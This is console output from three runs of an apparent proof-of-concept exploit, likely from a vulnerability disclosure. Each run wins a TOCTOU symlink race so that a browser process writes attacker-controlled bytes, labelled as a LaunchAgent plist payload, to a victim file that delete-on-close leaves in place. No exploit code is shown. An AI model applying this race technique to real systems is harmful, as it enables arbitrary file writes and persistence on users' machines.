=== Run 1 === [*] shared temp dir: /tmp/poc-tempdir.l3ogmt [*] victim target : /tmp/poc-victim.fbI9up [+] TOCTOU race WON after 1571 attempt(s), 16 swap(s). [+] Browser-process open(O_CREAT|O_TRUNC|O_RDWR) followed the racer's symlink and wrote attacker bytes to: [+] /tmp/poc-victim.fbI9up [+] Target file still exists (size=45) -- FLAG_DELETE_ON_CLOSE only unlink()'d the symlink path. [+] Target contents: "ATTACKER_CONTROLLED_LAUNCHAGENT_PLIST_PAYLOAD" === Run 2 === [*] shared temp dir: /tmp/poc-tempdir.5LgPuM [*] victim target : /tmp/poc-victim.xeWYVK [+] TOCTOU race WON after 2951 attempt(s), 20 swap(s). [+] Browser-process open(O_CREAT|O_TRUNC|O_RDWR) followed the racer's symlink and wrote attacker bytes to: [+] /tmp/poc-victim.xeWYVK [+] Target file still exists (size=45) -- FLAG_DELETE_ON_CLOSE only unlink()'d the symlink path. [+] Target contents: "ATTACKER_CONTROLLED_LAUNCHAGENT_PLIST_PAYLOAD" === Run 3 === [*] shared temp dir: /tmp/poc-tempdir.dO12Hf [*] victim target : /tmp/poc-victim.15FuaQ [+] TOCTOU race WON after 4880 attempt(s), 23 swap(s). [+] Browser-process open(O_CREAT|O_TRUNC|O_RDWR) followed the racer's symlink and wrote attacker bytes to: [+] /tmp/poc-victim.15FuaQ [+] Target file still exists (size=45) -- FLAG_DELETE_ON_CLOSE only unlink()'d the symlink path. [+] Target contents: "ATTACKER_CONTROLLED_LAUNCHAGENT_PLIST_PAYLOAD"